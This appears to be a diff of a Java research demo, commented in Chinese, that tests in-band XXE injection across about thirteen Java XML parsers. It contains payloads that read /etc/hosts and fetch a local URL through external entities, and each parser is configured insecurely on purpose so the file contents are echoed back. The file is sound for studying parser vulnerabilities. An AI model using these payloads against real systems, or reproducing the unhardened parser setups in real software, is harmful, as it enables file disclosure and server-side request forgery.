|
| 1 | +package org.example; |
| 2 | + |
| 3 | + |
| 4 | +import java.io.ByteArrayInputStream; |
| 5 | + |
| 6 | +/** |
| 7 | + * @author Whoopsunix |
| 8 | + * |
| 9 | + * XXE 有回显 Demo |
| 10 | + */ |
| 11 | +public class XXEDemo { |
| 12 | + |
| 13 | + public static void main(String[] args) throws Exception { |
| 14 | + String filePayload = "<?xml version=\"1.0\"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM \"file:///etc/hosts\">]><foo>&xxe;</foo>"; |
| 15 | + String httpPayload = "<?xml version=\"1.0\"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM \"http://127.0.0.1:1234/flag.txt\">]><foo>&xxe;</foo>"; |
| 16 | + String result = null; |
| 17 | + |
| 18 | +// result = xmlReader(httpPayload); |
| 19 | +// result = jdomSAXBuilder(filePayload); |
| 20 | +// result = jdom2SAXBuilder(filePayload); |
| 21 | +// result = javaxSAXParser(httpPayload); |
| 22 | +// result = dom4jSAXReader(filePayload); |
| 23 | + result = jaxpSAXParserFactoryImpl(filePayload); |
| 24 | +// result = xercesSAXParser(filePayload); |
| 25 | +// result = javaxDocumentBuilder(httpPayload); |
| 26 | +// result = jaxpDocumentBuilderImpl(httpPayload); |
| 27 | +// result = jaxpDocumentBuilderFactoryImpl(httpPayload); |
| 28 | +// result = jaxpXercesDocumentBuilderFactoryImpl(httpPayload); |
| 29 | +// result = dom4jDocumentHelper(httpPayload); |
| 30 | +// result = javaxXMLInputFactory(filePayload); |
| 31 | + |
| 32 | + // test |
| 33 | + |
| 34 | + |
| 35 | + System.out.println(result); |
| 36 | + |
| 37 | + } |
| 38 | + |
| 39 | + /** |
| 40 | + * org.xml.sax.XMLReader |
| 41 | + * filePayload、httpPayload |
| 42 | + */ |
| 43 | + public static String xmlReader(String xml) throws Exception { |
| 44 | + org.xml.sax.XMLReader xmlReader = org.xml.sax.helpers.XMLReaderFactory.createXMLReader(); |
| 45 | + // 使用 ByteArrayInputStream 将字符串转换为输入流 |
| 46 | + ByteArrayInputStream inputStream = new ByteArrayInputStream(xml.getBytes()); |
| 47 | + |
| 48 | + // 使用 InputSource 包装输入流 |
| 49 | + org.xml.sax.InputSource inputSource = new org.xml.sax.InputSource(inputStream); |
| 50 | + |
| 51 | + // 注册事件处理程序 |
| 52 | + CustomHandler handler = new CustomHandler(); |
| 53 | + xmlReader.setContentHandler(handler); |
| 54 | + |
| 55 | + // 解析 XML |
| 56 | + xmlReader.parse(inputSource); |
| 57 | + |
| 58 | + |
| 59 | + // 获取解析的结果 |
| 60 | + String result = handler.getResult(); |
| 61 | + return result; |
| 62 | +// xmlReader.parse(new InputSource(new ByteArrayInputStream(xml.getBytes()))); |
| 63 | + } |
| 64 | + |
| 65 | + |
| 66 | + /** |
| 67 | + * org.jdom.input.SAXBuilder |
| 68 | + * filePayload、httpPayload |
| 69 | + */ |
| 70 | + public static String jdomSAXBuilder(String xml) throws Exception { |
| 71 | + org.jdom.input.SAXBuilder saxBuilder = new org.jdom.input.SAXBuilder(); |
| 72 | + |
| 73 | + org.jdom.Document document = saxBuilder.build(new org.xml.sax.InputSource(new ByteArrayInputStream(xml.getBytes()))); |
| 74 | + // 获取根元素 |
| 75 | + org.jdom.Element rootElement = document.getRootElement(); |
| 76 | + |
| 77 | + // 输出结果 |
| 78 | + return rootElement.getText(); |
| 79 | + } |
| 80 | + |
| 81 | + /** |
| 82 | + * org.jdom2.input.SAXBuilder |
| 83 | + * filePayload、httpPayload |
| 84 | + */ |
| 85 | + public static String jdom2SAXBuilder(String xml) throws Exception { |
| 86 | + org.jdom2.input.SAXBuilder saxBuilder = new org.jdom2.input.SAXBuilder(); |
| 87 | + |
| 88 | + org.jdom2.Document document = saxBuilder.build(new org.xml.sax.InputSource(new ByteArrayInputStream(xml.getBytes()))); |
| 89 | + // 获取根元素 |
| 90 | + org.jdom2.Element rootElement = document.getRootElement(); |
| 91 | + |
| 92 | + // 输出结果 |
| 93 | + return rootElement.getText(); |
| 94 | + } |
| 95 | + |
| 96 | + /** |
| 97 | + * javax.xml.parsers.SAXParser |
| 98 | + * filePayload、httpPayload |
| 99 | + */ |
| 100 | + public static String javaxSAXParser(String xml) throws Exception { |
| 101 | + javax.xml.parsers.SAXParser saxParser = javax.xml.parsers.SAXParserFactory.newInstance().newSAXParser(); |
| 102 | + org.xml.sax.InputSource inputSource = new org.xml.sax.InputSource(new ByteArrayInputStream(xml.getBytes())); |
| 103 | + CustomHandler handler = new CustomHandler(); |
| 104 | + saxParser.parse(inputSource, handler); |
| 105 | + String result = handler.getResult(); |
| 106 | + return result; |
| 107 | + } |
| 108 | + |
| 109 | + /** |
| 110 | + * javax.xml.parsers.DocumentBuilder |
| 111 | + * filePayload、httpPayload |
| 112 | + */ |
| 113 | + public static String javaxDocumentBuilder(String xml) throws Exception { |
| 114 | + javax.xml.parsers.DocumentBuilder documentBuilder = javax.xml.parsers.DocumentBuilderFactory.newInstance().newDocumentBuilder(); |
| 115 | + org.w3c.dom.Document document = documentBuilder.parse(new org.xml.sax.InputSource(new ByteArrayInputStream(xml.getBytes()))); |
| 116 | + String result = document.getDocumentElement().getTextContent(); |
| 117 | + return result; |
| 118 | + } |
| 119 | + |
| 120 | + /** |
| 121 | + * javax.xml.stream.XMLInputFactory |
| 122 | + * filePayload、httpPayload |
| 123 | + */ |
| 124 | + public static String javaxXMLInputFactory(String xml) throws Exception { |
| 125 | + javax.xml.stream.XMLInputFactory xmlInputFactory = javax.xml.stream.XMLInputFactory.newFactory(); |
| 126 | + javax.xml.stream.XMLStreamReader xmlStreamReader = xmlInputFactory.createXMLStreamReader(new ByteArrayInputStream(xml.getBytes())); |
| 127 | + StringBuilder result = new StringBuilder(); |
| 128 | + |
| 129 | + while (xmlStreamReader.hasNext()) { |
| 130 | + int event = xmlStreamReader.next(); |
| 131 | + |
| 132 | + switch (event) { |
| 133 | + case javax.xml.stream.XMLStreamConstants.START_ELEMENT: |
| 134 | + result.append("<").append(xmlStreamReader.getLocalName()).append(">"); |
| 135 | + break; |
| 136 | + case javax.xml.stream.XMLStreamConstants.CHARACTERS: |
| 137 | + result.append(xmlStreamReader.getText()); |
| 138 | + break; |
| 139 | + case javax.xml.stream.XMLStreamConstants.END_ELEMENT: |
| 140 | + result.append("</").append(xmlStreamReader.getLocalName()).append(">"); |
| 141 | + break; |
| 142 | + // Handle other events as needed |
| 143 | + } |
| 144 | + } |
| 145 | + |
| 146 | + return result.toString(); |
| 147 | + } |
| 148 | + |
| 149 | + /** |
| 150 | + * org.dom4j.io.SAXReader |
| 151 | + * filePayload、httpPayload |
| 152 | + */ |
| 153 | + public static String dom4jSAXReader(String xml) throws Exception { |
| 154 | + org.dom4j.io.SAXReader saxReader = new org.dom4j.io.SAXReader(); |
| 155 | + org.dom4j.Document document = saxReader.read(new org.xml.sax.InputSource(new ByteArrayInputStream(xml.getBytes()))); |
| 156 | + // 获取根元素 |
| 157 | + org.dom4j.Element rootElement = document.getRootElement(); |
| 158 | + |
| 159 | + return rootElement.getText(); |
| 160 | + } |
| 161 | + |
| 162 | + /** |
| 163 | + * org.dom4j.DocumentHelper 2.1.1以上被修复,且必须要有ENTITY才能利用 |
| 164 | + * filePayload、httpPayload |
| 165 | + */ |
| 166 | + public static String dom4jDocumentHelper(String xml) throws Exception { |
| 167 | + org.dom4j.Document document = org.dom4j.DocumentHelper.parseText(xml); |
| 168 | + org.dom4j.Element rootElement = document.getRootElement(); |
| 169 | + String childValue = rootElement.getText(); |
| 170 | + return childValue; |
| 171 | + } |
| 172 | + |
| 173 | + /** |
| 174 | + * org.apache.xerces.jaxp.SAXParserFactoryImpl |
| 175 | + * filePayload、httpPayload |
| 176 | + */ |
| 177 | + public static String jaxpSAXParserFactoryImpl(String xml) throws Exception { |
| 178 | + org.apache.xerces.jaxp.SAXParserFactoryImpl saxParserFactory = (org.apache.xerces.jaxp.SAXParserFactoryImpl) javax.xml.parsers.SAXParserFactory.newInstance(); |
| 179 | + org.xml.sax.InputSource inputSource = new org.xml.sax.InputSource(new ByteArrayInputStream(xml.getBytes())); |
| 180 | + CustomHandler handler = new CustomHandler(); |
| 181 | + saxParserFactory.newSAXParser().parse(inputSource, handler); |
| 182 | + String result = handler.getResult(); |
| 183 | + return result; |
| 184 | + } |
| 185 | + |
| 186 | + /** |
| 187 | + * org.apache.xerces.jaxp.DocumentBuilderImpl |
| 188 | + * filePayload、httpPayload |
| 189 | + */ |
| 190 | + public static String jaxpDocumentBuilderImpl(String xml) throws Exception { |
| 191 | + org.apache.xerces.jaxp.DocumentBuilderImpl documentBuilder = (org.apache.xerces.jaxp.DocumentBuilderImpl) javax.xml.parsers.DocumentBuilderFactory.newInstance().newDocumentBuilder(); |
| 192 | + org.w3c.dom.Document document = documentBuilder.parse(new org.xml.sax.InputSource(new ByteArrayInputStream(xml.getBytes()))); |
| 193 | + String result = document.getDocumentElement().getTextContent(); |
| 194 | + return result; |
| 195 | + } |
| 196 | + |
| 197 | + /** |
| 198 | + * org.apache.xerces.jaxp.DocumentBuilderFactoryImpl |
| 199 | + * filePayload、httpPayload |
| 200 | + */ |
| 201 | + public static String jaxpDocumentBuilderFactoryImpl(String xml) throws Exception { |
| 202 | + org.apache.xerces.jaxp.DocumentBuilderFactoryImpl documentBuilderFactory = (org.apache.xerces.jaxp.DocumentBuilderFactoryImpl) javax.xml.parsers.DocumentBuilderFactory.newInstance(); |
| 203 | + org.w3c.dom.Document document = documentBuilderFactory.newDocumentBuilder().parse(new org.xml.sax.InputSource(new ByteArrayInputStream(xml.getBytes()))); |
| 204 | + String result = document.getDocumentElement().getTextContent(); |
| 205 | + return result; |
| 206 | + } |
| 207 | + |
| 208 | + /** |
| 209 | + * com.sun.org.apache.xerces.internal.jaxp.DocumentBuilderFactoryImpl |
| 210 | + * filePayload、httpPayload |
| 211 | + */ |
| 212 | + public static String jaxpXercesDocumentBuilderFactoryImpl(String xml) throws Exception { |
| 213 | + com.sun.org.apache.xerces.internal.jaxp.DocumentBuilderFactoryImpl documentBuilderFactory = new com.sun.org.apache.xerces.internal.jaxp.DocumentBuilderFactoryImpl(); |
| 214 | + javax.xml.parsers.DocumentBuilder documentBuilder = documentBuilderFactory.newDocumentBuilder(); |
| 215 | + org.w3c.dom.Document document = documentBuilder.parse(new org.xml.sax.InputSource(new ByteArrayInputStream(xml.getBytes()))); |
| 216 | + String result = document.getDocumentElement().getTextContent(); |
| 217 | + return result; |
| 218 | + } |
| 219 | + |
| 220 | + /** |
| 221 | + * org.apache.xerces.parsers.SAXParser |
| 222 | + * filePayload、httpPayload |
| 223 | + */ |
| 224 | + public static String xercesSAXParser(String xml) throws Exception { |
| 225 | + org.apache.xerces.parsers.SAXParser saxParser = new org.apache.xerces.parsers.SAXParser(); |
| 226 | + CustomHandler customHandler = new CustomHandler(); |
| 227 | + saxParser.setContentHandler(customHandler); |
| 228 | + saxParser.parse(new org.xml.sax.InputSource(new ByteArrayInputStream(xml.getBytes()))); |
| 229 | + |
| 230 | + return customHandler.getResult(); |
| 231 | + } |
| 232 | + |
| 233 | + static class CustomHandler extends org.xml.sax.helpers.DefaultHandler { |
| 234 | + |
| 235 | + private StringBuilder resultBuilder = new StringBuilder(); |
| 236 | + |
| 237 | + @Override |
| 238 | + public void characters(char[] ch, int start, int length) throws org.xml.sax.SAXException { |
| 239 | + // 处理文本内容事件 |
| 240 | + String content = new String(ch, start, length); |
| 241 | + resultBuilder.append(content); |
| 242 | + } |
| 243 | + |
| 244 | + // 获取解析的结果 |
| 245 | + public String getResult() { |
| 246 | + return resultBuilder.toString(); |
| 247 | + } |
| 248 | + } |
| 249 | +} |
0 commit comments